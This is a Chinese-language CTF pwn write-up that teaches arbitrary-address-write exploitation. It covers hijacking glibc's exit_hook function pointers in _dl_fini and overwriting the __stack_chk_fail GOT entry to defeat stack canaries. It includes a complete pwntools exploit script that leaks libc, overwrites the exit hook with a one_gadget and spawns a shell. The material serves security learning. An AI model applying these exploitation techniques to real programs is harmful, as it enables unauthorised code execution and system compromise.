pwn入门-任意地址写
在最近的ctf比赛中,新学到一点知识和师傅们分享一下
void _input()
{
void *buf;
read(0,&buf,8ull)
read(0,buf,8ull)
}
我们一般会通过这种代码获得任意地址写任意内容的能力
第一个位置输入要篡改内容的地址,
第二个输入篡改后的内容
而有了这个能力之后,我们可以修改许多的内容来getshell
或者是在堆题中(简单的uaf或者是double free题目中)我们可以通过堆漏洞的利用来获得向任意地址写任意内容的能力
任意地址写-exit_hook劫持
这是一道关于任意地址写的题目,题目中同时出现了exit函数
以及让我们获得任意地址写任意内容的能力
我们先来看看exit函数是怎么运行的
exit运行过程
#include<stdio.h>
int main()
{
printf("maxwell");
exit(0);
}
首先我们运行上述简单代码,然后在gdb调试中查看函数调用过程
这一步时输入s步入
观察到在exit函数内部存在__run_exit_handlers函数调用,这是在函数调用时经常存在的嵌套函数调用
我们继续步入观察
再次观察到调用了_dl_fini函数,为了观察方便,我们直接查看_dl_fini函数的源码
1 #ifdef SHARED
2 int do_audit = 0;
3 again:
4 #endif
5 for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
6 {
7 /* Protect against concurrent loads and unloads. */
8 __rtld_lock_lock_recursive (GL(dl_load_lock));
9
10 unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11 /* No need to do anything for empty namespaces or those used for
12 auditing DSOs. */
13 if (nloaded == 0
14 #ifdef SHARED
15 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17 )
18 __rtld_lock_unlock_recursive (GL(dl_load_lock));
在_dl_fini中存在两个函数指针
- __rtld_lock_lock_recursive
- __rtld_lock_unlock_recursive
我们可以利用任意地址写的能力,将这两个函数指针指向我们能getshell的函数,一般是指向one_gadget
我们gdb查看一下这两个指针的信息
我们可以看到,其中一个指针处于_rtld_global偏移为3848位的地址
我们找到_rtld_global相对于libc的偏移
用该地址加上3848即是要篡改的函数指针的地址
打远程中,我们获得libc基址后,可以去libc网站中查询该结构体距离libc基址的偏移,再加上3848即可
题目分析
先是利用了一个rand函数生成随机数,由于题目给了libc文件和ld文件,我们直接调用libc中的rand函数生成一个随机数并接收
即可绕过随机数检测
gift函数中
给了我们puts函数的真实地址,我们可以通过这个地址减去偏移来获得libc基址并接收
程序内还给了一个任意地址写的函数,同时具备exit函数。即可利用到我们上面所分享的知识来getshell
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn1')
#io = remote('47.98.236.4',5002)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
libcc = cdll.LoadLibrary('./libc-2.31.so')
libcc.srand(libcc.time(0))
ld = ELF('./ld-2.31.so')
def dbg():
gdb.attach(io)
pause()
a= libcc.rand()%0x6E
print(a)
io.recvuntil('please enter this challenge\n')
io.sendline(str(a))
io.recvuntil('0x')
puts = int(io.recv(12),16)
print(hex(puts))
base = puts-libc.sym['puts']
print(hex(base))
io.recvuntil('Come and try it out\n')
dbg()
pay1 = b'a'*0x28+p64(0x04012BD)[:6]
io.send(pay1)
io.recvuntil("Congratulations on completing a big step")
onegadget = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = base + onegadget[0]
exit_hook = base+0x222f68
io.send(p64(exit_hook))
print(hex(exit_hook))
pay222 = p64(one_gadget)
io.send(p64(one_gadget))
io.sendline('cat flag')
io.interactive()
任意地址写-canary保护劫持
canary机制讲解
我们知道在canary保护是一种用于保护栈溢出的机制,会在函数的末尾对栈空间内一个随机数的检测
64位程序中
32位程序中
我们可以看到
在64位程序中canary距离栈底rbp的距离为8字节
在32位程序中canary距离栈底ebp的距离位0xc字节
当然,canary的位置是题外话了,我们还是研究一下canary的调用机制
我们对如下代码进行gdb调试
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
read(0, buf, 0x100uLL);
return v6 - __readfsqword(0x28u);
}
输入大于24字节的内容触发canary保护
函数调用了一个名为__stack_chk_fail的函数,按理如果没有触发canary保护,程序会直接退出
但此时调用了该函数,执行该函数之后程序也是直接退出了
且该函数存在于plt表中,所以我们可以利用任意地址写的能力来劫持__stack_chk_fail函数的got表
题目分析
明显的栈溢出漏洞和canary保护,赠送了puts函数的真实地址,以及任意地址写的能力
我们直接利用任意地址写的能力来修改stack_chk_fail的got表地址为one_gadget即可stack_chk_fail的got表可以直接查询ida得到
libc基址通过泄露的puts函数真实地址de'dao
exp不再过多赘述